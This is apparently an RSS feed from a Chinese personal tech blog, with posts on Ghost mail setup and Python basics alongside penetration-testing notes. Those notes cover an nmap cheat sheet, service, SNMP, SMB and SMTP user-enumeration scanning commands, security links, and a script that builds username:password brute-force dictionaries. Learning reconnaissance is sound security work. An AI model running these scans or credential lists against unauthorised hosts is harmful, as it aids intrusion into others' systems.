这些标志会出现在数据报文中，使用数据报文导出的方式，wireshark会自动去除http协议的标志，而直接复制原始数据，不手动删除这些标志的话，这样生成的压缩包自然就会出错了。</p>
<blockquote>
<p><a href="https://www.jianshu.com/p/6e9e4156ece3">https://www.jianshu.com/p/6e9e4156ece3</a><br>
<a href="https://www.cnblogs.com/humain/p/5464404.html">https://www.cnblogs.com/humain/p/5464404.html</a><br>
<a href="http://www.zixuephp.net/article-272.html">http://www.zixuephp.net/article-272.html</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Ghost2.x 配置阿里云邮件推送]]></title><description><![CDATA[<p>Ghost2.x安装完成后，找回密码和邀请的邮件发不出去，查了一下<a href="https://docs.ghost.org/concepts/config/#mail">官方的文档</a>，推荐使用Mailgun的邮件服务，注册折腾了半天，结果账户被锁了（看到好多人有这种情况），有不想用个人邮箱，所以就看了一下阿里云的邮件推送服务，发现和Mailgun的差不多，每月前几百条免费，足够用，所以就用了阿里云的。</p>
<h3 id="">阿里云邮件推送</h3>
<p>由于我的服务器就是阿里云的，所以登陆阿里云控制台，搜“邮件推送”。开通这个业务后，先设置发信域名，新建了一个发件域名&quot;agppp.cn&quot;,然后点击配置，记下里面的四条记录，打开阿里云域名控制台，给agppp.cn添加刚刚记录的四条记录，添加完成如下所示：<br>
<a href="https://blog.agppp.cn/content/images/2018/11/Snipaste_2018-11-22_09-57-14.png"><img src="https://blog.agppp.cn/content/images/2018/11/Snipaste_2018-11-22_09-57-14.png" alt="Snipaste_2018-11-22_09-57-14"></a>，<br>
然后回到邮件推送的控制台，等大改5分钟后，点击验证，如果四条记录没有配置错误的话，就会显示验证通过。</p>
<p>设置完成发信域名之后，就可以添加发信地址了，点击新建发信地址，选择刚刚设置的发信域名，输入一个自己的发件账户，如“postmaster”等，之后你就可以通过“postmaster@agppp.cn”</p>]]></description><link>https://blog.agppp.cn/ghost2-x/</link><guid isPermaLink="false">5bf529305faac851c875f79d</guid><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Thu, 22 Nov 2018 02:13:10 GMT</pubDate><content:encoded><![CDATA[<p>Ghost2.x安装完成后，找回密码和邀请的邮件发不出去，查了一下<a href="https://docs.ghost.org/concepts/config/#mail">官方的文档</a>，推荐使用Mailgun的邮件服务，注册折腾了半天，结果账户被锁了（看到好多人有这种情况），有不想用个人邮箱，所以就看了一下阿里云的邮件推送服务，发现和Mailgun的差不多，每月前几百条免费，足够用，所以就用了阿里云的。</p>
<h3 id="">阿里云邮件推送</h3>
<p>由于我的服务器就是阿里云的，所以登陆阿里云控制台，搜“邮件推送”。开通这个业务后，先设置发信域名，新建了一个发件域名&quot;agppp.cn&quot;,然后点击配置，记下里面的四条记录，打开阿里云域名控制台，给agppp.cn添加刚刚记录的四条记录，添加完成如下所示：<br>
<a href="https://blog.agppp.cn/content/images/2018/11/Snipaste_2018-11-22_09-57-14.png"><img src="https://blog.agppp.cn/content/images/2018/11/Snipaste_2018-11-22_09-57-14.png" alt="Snipaste_2018-11-22_09-57-14"></a>，<br>
然后回到邮件推送的控制台，等大改5分钟后，点击验证，如果四条记录没有配置错误的话，就会显示验证通过。</p>
<p>设置完成发信域名之后，就可以添加发信地址了，点击新建发信地址，选择刚刚设置的发信域名，输入一个自己的发件账户，如“postmaster”等，之后你就可以通过“postmaster@agppp.cn”发送邮件了，由于这个地址只能发送，无法接收邮件，所以需要在回信地址添加一个自己的邮箱，又来接受回信（虽然也基本用不到），发件类型根据自己的需要选，由于我主要用于找回密码和邀请注册，所以选择了“触发邮件”，设置回信地址后，点击验证回信地址，会收到一封邮件，建议用登陆相应的web页面邮件，点击验证链接，就可以通过验证了。最后一步，设置smtp密码，用于发送验证，阿里云邮件服务就配置好了。</p>
<h3 id="ghost">ghost 发送邮件配置</h3>
<p>ghost的发送邮件配置需要修改config.production.json,但是ali云的邮件服务不在ghost的服务列表里面，官方的文档也没有具体说明如何进行设置，在这个地方尝试了好久，最终参考其他人配置终于成功了，配置如下：</p>
<pre><code>&quot;mail&quot;: {
   &quot;from&quot;: &quot;发信地址&quot;,
   &quot;transport&quot;: &quot;SMTP&quot;,
   &quot;options&quot;: {
     &quot;port&quot;: 465,
     &quot;host&quot;: &quot;smtpdm.aliyun.com&quot;,
     &quot;secureConnection&quot;: true,
     &quot;requiresAuth&quot;: true,
     &quot;auth&quot;: {
       &quot;user&quot;: &quot;发信地址&quot;,
       &quot;pass&quot;: &quot;SMTP密码&quot;
     }
   }
 },

</code></pre>
<p>由于阿里云也支持非ssl加密的smtp，但是配置过程中始终没成功，最终也没查出是什么原因，就没有在尝试，修改完配置文件之后，执行<code>ghost restart</code>重启服务。尝试一下邀请用户，邮件成功发送。</p>
]]></content:encoded></item><item><title><![CDATA[nmap 命令学习]]></title><description><![CDATA[<p>nmap ip/mask -p port [选项]</p>
<p><code>-iL &lt;inputfilename&gt;</code> 从列表中输入<br>
<code>--exclude &lt;host1[，host2][，host3]，...&gt;</code>排除主机/网络<br>
<code>--excludefile &lt;excludefile&gt;</code> 排除文件中的列表<br>
-s* 表示扫描模式<br>
-sL  使用dns进行ip扫描，并且会进行dns解析<br>
-sP -sn 对主机进行扫描，采用ICMP+TCP SYN（对443端口发送SYN，80发送ACK）模式，内网使用ARP，可与P* 选项组合使用，指定ping方式（P0除外）</p>
<p>-sS  使用syn进行端口扫描（默认选项）<br>
-sT  使用系统connect()建立TCP连接进行扫描，当SYN不能使用时，</p>]]></description><link>https://blog.agppp.cn/nmap-ming-ling-xue-xi/</link><guid isPermaLink="false">5bf279f169c1c845e1ebcc84</guid><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Tue, 20 Nov 2018 14:15:50 GMT</pubDate><content:encoded><![CDATA[<p>nmap ip/mask -p port [选项]</p>
<p><code>-iL &lt;inputfilename&gt;</code> 从列表中输入<br>
<code>--exclude &lt;host1[，host2][，host3]，...&gt;</code>排除主机/网络<br>
<code>--excludefile &lt;excludefile&gt;</code> 排除文件中的列表<br>
-s* 表示扫描模式<br>
-sL  使用dns进行ip扫描，并且会进行dns解析<br>
-sP -sn 对主机进行扫描，采用ICMP+TCP SYN（对443端口发送SYN，80发送ACK）模式，内网使用ARP，可与P* 选项组合使用，指定ping方式（P0除外）</p>
<p>-sS  使用syn进行端口扫描（默认选项）<br>
-sT  使用系统connect()建立TCP连接进行扫描，当SYN不能使用时，默认使用该方法<br>
-sU  使用UDP进行扫描，但是速度较慢<br>
-sN -sF -sX   tcp null FIN Xmas扫描（区分open或close）</p>
<p>-p  U:111,T:222  扫描udp端口111,tcp端口222</p>
<p>-P0 -Pn 跳过主机发现阶段<br>
-PS -PA -PU  SYN、ACK、UDP ping<br>
-PE -PP -PM    ICMP ping<br>
-PR  ARP ping<br>
-PO  ip ping<br>
-n  不进行dns地址解析<br>
-R  对所有目标进行域名解析</p>
<p>-- script= 指定脚本<br>
-- script-args=XX=vv   为脚本设置参数 令XX＝xx<br>
nmap脚本保存位置:/usr/share/nmap/script</p>
]]></content:encoded></item><item><title><![CDATA[服务扫描]]></title><description><![CDATA[<h5 id="">服务扫描</h5>
<h6 id="nc">nc</h6>
<p>nc -nv ip port<br>
观察返回内容</p>
<h6 id="pythonsocket">python socket</h6>
<pre><code>import socket
banner=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#  socket.SOCK_STREAM TCP连接
banner.connect((&quot;ip&quot;,port))
banner.recv(4096)
banner.close()
exit()
</code></pre>
<h6 id="dmitry">dmitry</h6>
<p>dmitry -pb ip<br>
可以显示banner内容</p>
<h6 id="nmap">nmap</h6>
<p>nmap脚本保存位置:/usr/share/nmap/script<br>
nmap -sT ip</p>]]></description><link>https://blog.agppp.cn/fu-wu-sao-miao/</link><guid isPermaLink="false">5bf279f169c1c845e1ebcc87</guid><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Tue, 20 Nov 2018 14:14:53 GMT</pubDate><content:encoded><![CDATA[<h5 id="">服务扫描</h5>
<h6 id="nc">nc</h6>
<p>nc -nv ip port<br>
观察返回内容</p>
<h6 id="pythonsocket">python socket</h6>
<pre><code>import socket
banner=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#  socket.SOCK_STREAM TCP连接
banner.connect((&quot;ip&quot;,port))
banner.recv(4096)
banner.close()
exit()
</code></pre>
<h6 id="dmitry">dmitry</h6>
<p>dmitry -pb ip<br>
可以显示banner内容</p>
<h6 id="nmap">nmap</h6>
<p>nmap脚本保存位置:/usr/share/nmap/script<br>
nmap -sT ip -p port --script=banner.nse  显示banner信息<br>
nmap -sV ip port 通过指纹识别端口使用的应用</p>
<h6 id="amap">amap</h6>
<p>amap -B ip port 显示banner信息<br>
amap ip -qb 通过指纹识别使用的应用</p>
<h5 id="">操作系统扫描</h5>
<ul>
<li>1.通过ttl值<br>
windows 128 （65-128）<br>
linux/unix  64(1-64)<br>
某些linux    255</li>
<li>2.nmap<br>
nmap -O ip</li>
<li>3.xprobe2 ip</li>
<li>4、被动操作系统扫描 p0f<br>
输入p0f  即会监听所有流量，并进行操作系统识别</li>
</ul>
<h5 id="snmp">SNMP扫描</h5>
<p>SNMP即简单网络管理协议，使用UDP161(默认服务端口)和162端口，若系统配置存在问题，允许任何用户访问SNMP，且community名称为默认，则可以通过客户端访问目标SNMP的服务，查看目标机器的服务等内容。</p>
<p>默认community为public private manager admin等</p>
<h6 id="onesixtyone">onesixtyone</h6>
<p>onesixtyone ip  communityname（ie. public）<br>
onesixitone -c dict.txt -i hosts.txt -o my.log -w 100<br>
可以通过dpkg查找默认字典</p>
<h6 id="snmpwalk">snmpwalk,查询结果较全面</h6>
<p><code>snmpwalk ip -c communityname -v 2c</code>   -v 指定版本（1、2c、3 版本3加入了很多安全机制）<br>
<code>snmpwalk ip -c communityname -v 2c oid</code> 查询指定oid的值</p>
<h6 id="snmpcheck">snmpcheck 展示比较清晰</h6>
<p>snmpcheck ip</p>
<h5 id="smb">SMB扫描</h5>
<p>Server Message Block 服务器消息块，文件共享、打印机共享等均是使用SMB协议实现，服务端口为139和445</p>
<h6 id="nmap">nmap</h6>
<p><code>nmap -v -p 139,445 ip</code> 扫描系统是否开放SMB服务<br>
<code>nmap -p 139,445 ip --script=smb-os-discovery.nse</code> 找到开放139和445的windows主机<br>
<code>nmap -p 139,445 --script=smb-check-vulns --script-args=safe=1 ip</code>  查找存在SMB漏洞的主机，当参数为unsafe时，可能对服务器造成影响，慎用</p>
<h6 id="nbtscan">nbtscan</h6>
<p><code>nbtscan -r ip/mask</code></p>
<h6 id="enum4linux">enum4linux,扫描结果比较详细</h6>
<p><code>enum4linux -a ip</code></p>
<h5 id="smtp">SMTP扫描，可以进行邮箱用户名枚举</h5>
<h6 id="nc">nc</h6>
<p><code>nc ip 25 vrfy username</code></p>
<h6 id="nmap">nmap</h6>
<p><code>nmap ip -p 25 --script=smtp-enum-users.nse --script-args=smtp-enum-users.methods={VRFY}</code></p>
<h6 id="smtpuserenum">smtp-user-enum</h6>
<p>smtp-user-enum  -M VRFY -U users.list -t n IP</p>
<h5 id="">网络设备扫描</h5>
<h6 id="">防火墙识别</h6>
<p>nmap -sA  ip</p>
<h6 id="">负载均衡识别</h6>
<p>广域网实现负载均衡可以使用dns轮询、智能dns等方式，服务器负载均衡可以使用nginx、Apache等方式，<br>
负载均衡识别<br>
识别工具lbd：<br>
<code>lbd servername</code></p>
<h6 id="waf">waf识别</h6>
<p><code>wafw00f servername nmap ip -p port --script=http-waf-detect.nse</code></p>
]]></content:encoded></item><item><title><![CDATA[safe list]]></title><description><![CDATA[<h6 id="">安全资讯</h6>
<p><a href="http://www.freebuf.com/">FREEBUF</a><br>
<a href="http://www.evil0x.com/">邪恶的16进制</a><br>
<a href="http://blog.nsfocus.net/">绿盟科技博客</a><br>
<a href="https://www.seebug.org/">seebug</a><br>
<a href="http://drops.wooyun.org/">乌云知识库</a><br>
<a href="http://bobao.360.cn/">360安全播报</a><br>
<a href="https://security.tencent.com/index.php/blog">腾讯安全博客</a><br>
<a href="https://www.t00ls.net/">t00ls</a><br>
<a href="https://silic.org/">习科</a><br>
<a href="https://a.blackbap.org/forum.php">习科镜像</a><br>
<a href="http://www.andlabs.org/">html5安全</a></p>
<h6 id="">在线漏洞检测</h6>
<p><a href="https://test.drownattack.com/">DROWN漏洞</a><br>
<a href="https://globalsign.ssllabs.com/analyze.html">ssl</a><br>
<a href="https://www.seebug.org/monster/">其他</a><br>
<a href="http://struts.apache.org/docs/security-bulletins.html">struts2 历史漏洞</a></p>
<h6 id="">源代码泄露</h6>
<p><a href="http://www.secdic.com/archives/1958.html">常见web源代码泄露利用工具</a></p>
<h6 id="">风险分析</h6>
<p><a href="https://www.virusbook.cn/">微步在线</a><br>
<a href="https://exchange.xforce.ibmcloud.com/">微软exchange</a></p>
<h6 id="">站点信息查询</h6>
<p><a href="http://toolbar.netcraft.com/site_report">netcraft</a><br>
<a href="http://whois.chinaz.com/">whois</a></p>
<h6 id="">设备检索</h6>
<p><a href="https://www.zoomeye.org/">钟馗之眼</a><br>
<a href="https://nosec.org/">白帽汇</a><br>
<a href="http://shodan.io">shodan</a></p>
<h6 id="">样本分析</h6>
<p><a href="https://www.virustotal.com/">virustotal</a><br>
<a href="http://tav.qq.com/habo/">tav</a><br>
<a href="https://www.virusbook.cn/">微步在线</a></p>
<h6 id="">域名查询</h6>
<p><a href="https://crt.sh/?q=%25.baidu.com">https://crt.sh/?q=%.baidu.com</a><br>
<a href="https://censys.io/certificates?q=.baidu.com">https://censys.io/certificates?q=.baidu.com</a><br>
<a href="https://dnsdumpster.com/">https://dnsdumpster.</a></p>]]></description><link>https://blog.agppp.cn/safe-list/</link><guid isPermaLink="false">5bf279f169c1c845e1ebcc88</guid><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Tue, 20 Nov 2018 14:14:30 GMT</pubDate><content:encoded><![CDATA[<h6 id="">安全资讯</h6>
<p><a href="http://www.freebuf.com/">FREEBUF</a><br>
<a href="http://www.evil0x.com/">邪恶的16进制</a><br>
<a href="http://blog.nsfocus.net/">绿盟科技博客</a><br>
<a href="https://www.seebug.org/">seebug</a><br>
<a href="http://drops.wooyun.org/">乌云知识库</a><br>
<a href="http://bobao.360.cn/">360安全播报</a><br>
<a href="https://security.tencent.com/index.php/blog">腾讯安全博客</a><br>
<a href="https://www.t00ls.net/">t00ls</a><br>
<a href="https://silic.org/">习科</a><br>
<a href="https://a.blackbap.org/forum.php">习科镜像</a><br>
<a href="http://www.andlabs.org/">html5安全</a></p>
<h6 id="">在线漏洞检测</h6>
<p><a href="https://test.drownattack.com/">DROWN漏洞</a><br>
<a href="https://globalsign.ssllabs.com/analyze.html">ssl</a><br>
<a href="https://www.seebug.org/monster/">其他</a><br>
<a href="http://struts.apache.org/docs/security-bulletins.html">struts2 历史漏洞</a></p>
<h6 id="">源代码泄露</h6>
<p><a href="http://www.secdic.com/archives/1958.html">常见web源代码泄露利用工具</a></p>
<h6 id="">风险分析</h6>
<p><a href="https://www.virusbook.cn/">微步在线</a><br>
<a href="https://exchange.xforce.ibmcloud.com/">微软exchange</a></p>
<h6 id="">站点信息查询</h6>
<p><a href="http://toolbar.netcraft.com/site_report">netcraft</a><br>
<a href="http://whois.chinaz.com/">whois</a></p>
<h6 id="">设备检索</h6>
<p><a href="https://www.zoomeye.org/">钟馗之眼</a><br>
<a href="https://nosec.org/">白帽汇</a><br>
<a href="http://shodan.io">shodan</a></p>
<h6 id="">样本分析</h6>
<p><a href="https://www.virustotal.com/">virustotal</a><br>
<a href="http://tav.qq.com/habo/">tav</a><br>
<a href="https://www.virusbook.cn/">微步在线</a></p>
<h6 id="">域名查询</h6>
<p><a href="https://crt.sh/?q=%25.baidu.com">https://crt.sh/?q=%.baidu.com</a><br>
<a href="https://censys.io/certificates?q=.baidu.com">https://censys.io/certificates?q=.baidu.com</a><br>
<a href="https://dnsdumpster.com/">https://dnsdumpster.com/</a></p>
<h6 id="">其他工具</h6>
<p><a href="http://tool.chinaz.com/">站长之家</a><br>
<a href="http://tool.chinaz.com/Tools/Unicode.aspx">编码转换</a><br>
<a href="http://encode.chahuo.com/">加解密</a><br>
<a href="http://dns.aizhan.com/">ip反查</a><br>
<a href="http://whois.chinaz.com/reverse">邮箱反查</a><br>
<a href="http://ransomwaretracker.abuse.ch/tracker/">勒索木马</a><br>
<a href="https://blog.agppp.cn/safe-list/%E5%85%A5http://www.objectif-securite.ch/en/ophcrack.php">windows密码在线破解</a><br>
<a href="http://ping.aizhan.com">爱站ping</a><br>
<a href="http://ping.chinaz.com">站长之家ping</a><br>
<a href="http://s.70sec.com/">社会工程</a><br>
<a href="http://cn.geoipview.com/">ip地理位置查询1</a><br>
<a href="http://www.882667.com/">ip地理位置查询1</a><br>
<a href="http://www.gpsspg.com/maps.htm">ip地理位置查询1</a><br>
<a href="https://www.ifreesite.com/ipaddress/">gps定位查询</a><br>
<a href="http://www.dnsstuff.com/tools">tools</a><br>
<a href="http://evilcos.me/lab/xssee/">xssee 3.0</a><br>
<a href="http://evilcos.me/lab/xssor//">xss'or</a></p>
<h6 id="ctf">ctf</h6>
<p><a href="https://www.ctftools.com/">工具下载</a><br>
<a href="http://iscc.isclab.org.cn/study">相关资料</a><br>
<a href="https://bamboofox.github.io/">wirte up</a><br>
<a href="http://www.freebuf.com/sectool/94235.html">工具介绍</a><br>
<a href="http://www.tuicool.com/articles/2E3INnm">各种编码介绍</a><br>
<a href="https://github.com/lijiejie/GitHack">githack</a><br>
<a href="https://www.splitbrain.org/services/ook">brainfuck</a><br>
<a href="http://www.factordb.com/index.php">素数分解</a></p>
<h6 id="">博客</h6>
<p><a href="http://www.i0day.com/">http://www.i0day.com/</a><br>
<a href="http://ricterz.me">http://ricterz.me</a><br>
<a href="http://blog.albertchang.cn/">http://blog.albertchang.cn/</a><br>
<a href="http://appleu0.sinaapp.com/">http://appleu0.sinaapp.com/</a><br>
<a href="http://paper.seebug.org/">http://paper.seebug.org/</a><br>
<a href="https://www.leavesongs.com/">https://www.leavesongs.com/</a><br>
<a href="http://zhuanlan.freebuf.com/column/index/?name=%E6%BD%9C%E5%BF%83%E5%AD%A6%E4%B9%A0%E7%9A%84%E5%B0%8F%E7%99%BD%E5%B8%BD">http://zhuanlan.freebuf.com/column/index/?name=潜心学习的小白帽</a></p>
<h6 id="">手册</h6>
<p><a href="https://default-password.info/">设备默认密码</a><br>
<a href="http://pentestmonkey.net/category/cheat-sheet/sql-injection">sql inject</a><br>
<a href="http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats">jhon</a><br>
<a href="https://highon.coffee/blog/cheat-sheet/">cheat lists</a>					<br>
<a href="http://wooyun.jozxing.cc/">乌云漏洞</a><br>
<a href="http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html">渗透测试框架</a></p>
<h6 id="">网站</h6>
<p><a href="http://www.lfd.uci.edu/~gohlke/pythonlibs/">python扩展包下载源</a></p>
]]></content:encoded></item><item><title><![CDATA[fenghuangscanV3安装备忘]]></title><description><![CDATA[<p>朋友推荐一款扫描器fenghuangscan，还没尝试效果，为了方便在window上安装，遇到一些问题，mark一下。<br>
首先 <a href="https://github.com/wilson9x1/fenghuangscanner_v3">github</a>下载源代码，依赖环境python2.7，安装目录下有requirements，然后使用pip一个个安装依赖包即可<br>
按照文档一个个安装 命令格式为  <code>pip install xxxxx</code><br>
查看当前已安装的插件命令为 <code>pip freeze</code><br>
其他的插件都可以直接安装，其中<code>pycrypto</code>和<code>pysnmp</code>还有<code>MySQL-python</code>（requirement中，貌似没提到）window下无法用pip安装成功</p>
<p><code>pycrypto</code>安装：<a href="http://download.csdn.net/download/wateryh/8497209">下载地址</a><br>
<code>pysnmp</code>安装：<a href="https://pypi.python.org/pypi/pysnmp/4.2.5">下载地址</a>,然后执行<code>easy_install pysnmp-4.2.5-py2.7.egg</code><br>
MySQL-python安装：<br>
首先需要确保已经安装了Microsoft Visual C++ Compiler for</p>]]></description><link>https://blog.agppp.cn/fenghuangscanv3an-zhuang-bei-wang/</link><guid isPermaLink="false">5bf279f169c1c845e1ebcc8e</guid><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Tue, 20 Nov 2018 14:11:51 GMT</pubDate><content:encoded><![CDATA[<p>朋友推荐一款扫描器fenghuangscan，还没尝试效果，为了方便在window上安装，遇到一些问题，mark一下。<br>
首先 <a href="https://github.com/wilson9x1/fenghuangscanner_v3">github</a>下载源代码，依赖环境python2.7，安装目录下有requirements，然后使用pip一个个安装依赖包即可<br>
按照文档一个个安装 命令格式为  <code>pip install xxxxx</code><br>
查看当前已安装的插件命令为 <code>pip freeze</code><br>
其他的插件都可以直接安装，其中<code>pycrypto</code>和<code>pysnmp</code>还有<code>MySQL-python</code>（requirement中，貌似没提到）window下无法用pip安装成功</p>
<p><code>pycrypto</code>安装：<a href="http://download.csdn.net/download/wateryh/8497209">下载地址</a><br>
<code>pysnmp</code>安装：<a href="https://pypi.python.org/pypi/pysnmp/4.2.5">下载地址</a>,然后执行<code>easy_install pysnmp-4.2.5-py2.7.egg</code><br>
MySQL-python安装：<br>
首先需要确保已经安装了Microsoft Visual C++ Compiler for Python 2.7，<br>
<a href="https://www.microsoft.com/en-us/download/details.aspx?id=44266">官方下载地址</a><br>
然后需要下载MySQL Connectors，<a href="http://dev.mysql.com/downloads/connector/c/6.0.html#downloads">官网地址</a><br>
最后使用pip安装还是失败，去官网下载直接安装，好了，无语中，<a href="https://pypi.python.org/pypi/MySQL-python/1.2.5#downloads">官网地址</a></p>
<p>最后引用一个字典生成的脚本，</p>
<pre><code># -*-coding=GB2312-*-
import random
import sys
def makedict(name):
    f1 =open(name+'_user.txt','r')
    f2 =open(name+'_pass.txt','r')
    f3 =open(name+'.conf','w')
    try:
        s1= f1.readlines()
        s2= f2.readlines()
        #print s1
        #print s2
        #print x[5].strip()
        l1 =len(s1)
        l2 =len(s2)
        #print str(l1)+':'+str(l2)
        jishu=0
        for a in range(0,l1,1):
            for b in range(0,l2,1):
                if name=='vnc' or name=='signs' or name=='snmp':
                    reslutall= s1[a].strip()
                else:
                    reslutall= s1[a].strip()+':'+s2[b].strip()
                jishu+=1
                #print reslutall
                print &gt;&gt;f3,reslutall
        print '生成数据'+name+'字典:'+str(jishu)
    finally:    
        f3.close()
def main():
    list=['ftp','ldapd','mongodb','mssql','mysql','pop3','postgres','rsync','signs'\
          ,'smb','snmp','ssh','tomcat','vnc','web']
    
    for x in list:
        makedict(x)

if __name__ == '__main__':
    main()  
</code></pre>
<p>原文地址</p>
<blockquote>
<p><a href="http://www.anyun.org/a/jishuguanzhu/shenbingliren/2016/0619/5973.html">http://www.anyun.org/a/jishuguanzhu/shenbingliren/2016/0619/5973.html</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[python 学习(一) 字符串、函数]]></title><description><![CDATA[<p>如果脚本中有中文，要在文件头加上如下内容：<br>
# -*- coding: utf-8 -*-<br>
指定默认路径<br>
# /usr/local/python<br>
字符串连接：</p>
<pre><code>print &quot;2+3=&quot;,5`  
print &quot;2+3=&quot;+str(5)`  
a=2
b=3
c=5
print &quot;%d+%d=%d&quot;%(a,b,c)
</code></pre>
<p>%r与%s   %r打印变量原始值，不对变量进行任何编解码，适合用于调试<br>
如&quot;hello\nworld&</p>]]></description><link>https://blog.agppp.cn/python-xue-xi-yi-zi-fu-chuan-han-shu/</link><guid isPermaLink="false">5bf279f169c1c845e1ebcc8f</guid><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Tue, 20 Nov 2018 14:11:33 GMT</pubDate><content:encoded><![CDATA[<p>如果脚本中有中文，要在文件头加上如下内容：<br>
# -*- coding: utf-8 -*-<br>
指定默认路径<br>
# /usr/local/python<br>
字符串连接：</p>
<pre><code>print &quot;2+3=&quot;,5`  
print &quot;2+3=&quot;+str(5)`  
a=2
b=3
c=5
print &quot;%d+%d=%d&quot;%(a,b,c)
</code></pre>
<p>%r与%s   %r打印变量原始值，不对变量进行任何编解码，适合用于调试<br>
如&quot;hello\nworld&quot; %r 打印hello\nworld</p>
<pre><code>formatter = &quot;%r %r %r %r&quot;
print formatter % (1, 2, 3, 4)
print formatter % (&quot;one&quot;, &quot;two&quot;, &quot;three&quot;, &quot;four&quot;)
print formatter % (True, False, False, True)
</code></pre>
<p>转义列表</p>
<pre><code>\\ 	Backslash (\)
\' 	Single-quote (')
\&quot; 	Double-quote (&quot;)
\a 	ASCII bell (BEL)
\b 	ASCII backspace (BS)
\f 	ASCII formfeed (FF)
\n 	ASCII linefeed (LF)
\N{name} 	Character named name in the Unicode database (Unicode only)
\r 	Carriage Return (CR)
\t 	Horizontal Tab (TAB)
\uxxxx 	Character with 16-bit hex value xxxx (Unicode only)
\Uxxxxxxxx 	Character with 32-bit hex value xxxxxxxx (Unicode only)
\v 	ASCII vertical tab (VT)
\ooo 	Character with octal value ooo
\xhh 	Character with hex value hh

</code></pre>
<p>非unicode类型的字符串中“\uxxxx”不能直接打印。需要调用相应方法将其转换为unicode类型，如：<br>
<code>print '\u559c'.decode('unicode_escape')</code><br>
定义为unicode类型即可<br>
<code>print u'\u559c'</code></p>
<p>字符串输入&amp;类型转换：</p>
<pre><code>print &quot;How old are you?&quot;,
age = int(raw_input())

age = int(raw_input(&quot;How old are you?&quot;))

</code></pre>
<p>字符串换行两种方式：</p>
<pre><code>a=&quot;aaaaaaaaa&quot;\
&quot;bbbbbbbb&quot;

a=(&quot;aaaaaaaaa&quot;
&quot;bbbbbbbbb&quot;)#推荐
</code></pre>
<p>与环境交互：</p>
<pre><code>from sys import argv
script, first, second, third = argv
# argv[0]为脚本名
# or
import sys
script, first, second, third = sys.argv
# sys.argv[0]为脚本名
</code></pre>
<p>乘幂<code>a=2**7 #a=128</code></p>
<p>使用r强制不转义</p>
<pre><code>&gt;&gt;&gt; print 'C:\some\name'  # here \n means newline!
C:\some
ame
&gt;&gt;&gt; print r'C:\some\name'  # note the r before the quote
C:\some\name
</code></pre>
<p>创建Unicode字符串</p>
<pre><code>a=u&quot;Unicode&quot;
</code></pre>
<p>关于字符串索引：</p>
<pre><code> +---+---+---+---+---+---+
 | P | y | t | h | o | n |
 +---+---+---+---+---+---+
   0   1   2   3   4   5   
  -6  -5  -4  -3  -2  -1
</code></pre>
<p>字符串相关方法</p>
<pre><code>str=&quot;ssstttrrr&quot;
len(str) #求长度
# unicode与8进制字符串相互转换
u&quot;盲枚眉&quot;.encode('utf-8')
unicode('\xe7\x9b\xb2\xe6\x9e\x9a\xe7\x9c\x89', 'utf-8')

</code></pre>
<p>列表操作</p>
<pre><code>squares = [1, 4, 9, 16, 25]
a = ['spam', 'eggs', 100, 1234]
&gt;&gt;&gt; squares[0]  # indexing returns the item
1
&gt;&gt;&gt; squares[-1]
25
&gt;&gt;&gt; squares[-3:]  # slicing returns a new list
[9, 16, 25]
&gt;&gt;&gt; squares + [36, 49, 64, 81, 100]
[1, 4, 9, 16, 25, 36, 49, 64, 81, 100]

&gt;&gt;&gt; cubes.append(216)  # add the cube of 6
&gt;&gt;&gt; cubes.append(7 ** 3)  # and the cube of 7
&gt;&gt;&gt; cubes
[1, 8, 27, 64, 125, 216, 343]

</code></pre>
<p>函数定义</p>
<pre><code>def ask_ok(prompt, retries=4, complaint='Yes or no, please!'):
ask_ok('Do you really want to quit?')
ask_ok('OK to overwrite the file?', 2)
ask_ok('OK to overwrite the file?', 2, 'Come on, only yes or no!')

def parrot(voltage, state='a stiff', action='voom', type='Norwegian Blue'):
parrot(1000)                                # 1 positional argument
parrot(voltage=1000)                        # 1 keyword argument
parrot(voltage=1000000, action='VOOOOOM')   # 2 keyword arguments
parrot(action='VOOOOOM', voltage=1000000)   # 2 keyword arguments
parrot('a million', 'bereft of life', 'jump')  # 3 positional arguments
parrot('a thousand', state='pushing up the daisies')  # 1 positional, 1 keyword
</code></pre>
<p>引入一个形如 **name 的参数时，它接收一个字典(参见 Mapping Types — dict )，该字典包含了所有未出现在形式参数列表中的关键字参数。这里可能还会组合使用一个形如 *name (下一小节详细介绍)的形式参数，它接收一个元组(下一节中会详细介绍)，包含了所有没有出现在形式参数列表中的参数值。( *name 必须在 **name 之前出现)</p>
<pre><code>
def cheeseshop(kind, *arguments, **keywords):
    print &quot;-- Do you have any&quot;, kind, &quot;?&quot;
    print &quot;-- I'm sorry, we're all out of&quot;, kind
    for arg in arguments:
        print arg
    print &quot;-&quot; * 40
    keys = sorted(keywords.keys())
    for kw in keys:
        print kw, &quot;:&quot;, keywords[kw]

cheeseshop(&quot;Limburger&quot;, &quot;It's very runny, sir.&quot;,
           &quot;It's really very, VERY runny, sir.&quot;,
           shopkeeper='Michael Palin',
           client=&quot;John Cleese&quot;,
           sketch=&quot;Cheese Shop Sketch&quot;)

###  输出
--  Do you have any Limburger ?
--  I'm sorry, we're all out of Limburger
It's very runny, sir.
It's really very, VERY runny, sir.
----------------------------------------
client : John Cleese
shopkeeper : Michael Palin
sketch : Cheese Shop Sketch

</code></pre>
<p>另有一种相反的情况: 当你要传递的参数已经是一个列表，但要调用的函数却接受分开一个个的参数值。这时候你要把已有的列表拆开来。例如内建函数 range() 需要独立的 start ，stop 参数。 你可以在调用函数时加一个 * 操作符来自动把参数列表拆开:</p>
<pre><code>&gt;&gt;&gt; list(range(3, 6))            # normal call with separate arguments
[3, 4, 5]
&gt;&gt;&gt; args = [3, 6]
&gt;&gt;&gt; list(range(*args))            # call with arguments unpacked from a list
[3, 4, 5]
</code></pre>
<p>以同样的方式，可以使用 ** 操作符分拆关键字参数为字典:</p>
<pre><code>&gt;&gt;&gt; def parrot(voltage, state='a stiff', action='voom'):
...     print &quot;-- This parrot wouldn't&quot;, action,
...     print &quot;if you put&quot;, voltage, &quot;volts through it.&quot;,
